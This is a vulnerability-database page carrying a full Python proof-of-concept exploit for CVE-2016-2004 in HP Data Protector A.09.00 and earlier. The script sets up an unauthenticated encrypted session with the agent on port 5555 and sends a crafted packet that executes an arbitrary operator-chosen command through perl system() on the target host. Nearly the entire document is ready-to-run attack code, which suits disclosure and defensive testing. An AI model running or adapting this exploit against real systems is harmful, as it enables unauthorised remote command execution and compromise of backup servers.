HP Data Protector A.09.00 - Arbitrary Command Execution

2016-05-26 21:05:21

#!/usr/bin/python
#
# Exploit Title: Data Protector Encrypted Communications
# Date: 26-05-2016
# Exploit Author: Ian Lovering
# Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/
# Version: A.09.00 and earlier
# Tested on: Windows Server 2008
# CVE : CVE-2016-2004
#

# This proof of concept demonstrates that enabling encrypted control communication on
# Data Protector agents does not provide any additional security.
# As is provides no authentication it is not a viable workaround to prevent the
# exploitation of well known Data Protector issues such as cve-2014-2623
#
# This exploit establishes and unauthenticated encrypted communication channel to
# a Data Protector Agent and uses a well known unencrypted Data Protector vulnerability
# to run arbitrary commands on the target.

# Tested on Kali Linux 2 with python 2.7.9
# Tested against Data Protector A.09.00 (Internal Build version 88) with encrypted control
# communication enabled.
# All other Data Protector settings are default.
# Tested against Data Protector agent running on Windows 2008 R2
# Also tested against Data Protector A.07
#
# encrypted-dataprotector.py -e <ipaddress>
#
# By default runs ipconfig on the target.
# Can take a little while to return. Have patience ;)
#
# CVE-2016-2004

import socket
import ssl
import time
import struct
import argparse


parser = argparse.ArgumentParser(prog='test-encrypt.py')
parser.add_argument('-e', '--encrypt', dest='encrypt', action='store_true')
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-c', '--command')
parser.add_argument('ipaddress')
parser.set_defaults(encrypt=False,port=5555)
args = parser.parse_args()

HOST = args.ipaddress
PORT = args.port

command = 'ipconfig'

if args.command:
command = args.command

# initialise data
initdata = ("\x00\x00\x00\x48\xff\xfe\x32\x00\x36\x00\x37\x00\x00\x00\x20\x00"
"\x31\x00\x30\x00\x00\x00\x20\x00\x31\x00\x30\x00\x30\x00\x00\x00"
"\x20\x00\x39\x00\x30\x00\x30\x00\x00\x00\x20\x00\x38\x00\x38\x00"
"\x00\x00\x20\x00\x6f\x00\x6d\x00\x6e\x00\x69\x00\x64\x00\x6c\x00"
"\x63\x00\x00\x00\x20\x00\x34\x00\x00\x00\x00\x00")

OFFSET = 46
command = command.replace("\\", "\\\\")
command = command.replace("\'", "\\\'")
command_length = struct.pack(">I",OFFSET + len(command))
payload = command_length +\
"\x32\x00\x01\x01\x01\x01\x01\x01" +\
"\x00\x01\x00\x01\x00\x01\x00\x01" +\
"\x01\x00\x20\x32\x38\x00\x5c\x70" +\
"\x65\x72\x6c\x2e\x65\x78\x65\x00" +\
"\x20\x2d\x65\x73\x79\x73\x74\x65" +\
"\x6d('%s')\x00" % command

def get_data(sock):
response = ''
recv_len =1

while recv_len:
data = sock.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break

return response

def get_dp_response(sock):

print "===== Response ====="
print

while True:

# Get information about response
packed_length = sock.recv(4)
if not packed_length:
break
n = struct.unpack(">I", packed_length)[0]
tmpresponse = sock.recv(n)
tmpresponse = tmpresponse.replace("\n", "")
tmpresponse = tmpresponse.replace("\x00", "")
tmpresponse = tmpresponse.replace("\xff\xfe\x39\x20", "")
if tmpresponse.upper().find("*RETVAL*") != -1:
break
else:
print tmpresponse

print
print "===== End ====="
print


client = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

if args.encrypt:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_ciphers('ALL')

try:
client.connect(( HOST, PORT ))
print "Connected"

if args.encrypt:
# send data protector init string
client.send(initdata)
response = get_data(client)

# setup tls
client = context.wrap_socket(client)
print "Encryption Enabled"

# send payload
client.send(payload)
print "Sent Payload"
print ""
print "===== Command ====="
print
print command
print
get_dp_response(client)

client.close()

except Exception as e:
print '[*] Exception. Exiting.'
print e
client.close()


Fixes

No fixes

In order to submit a new fix you need to be registered.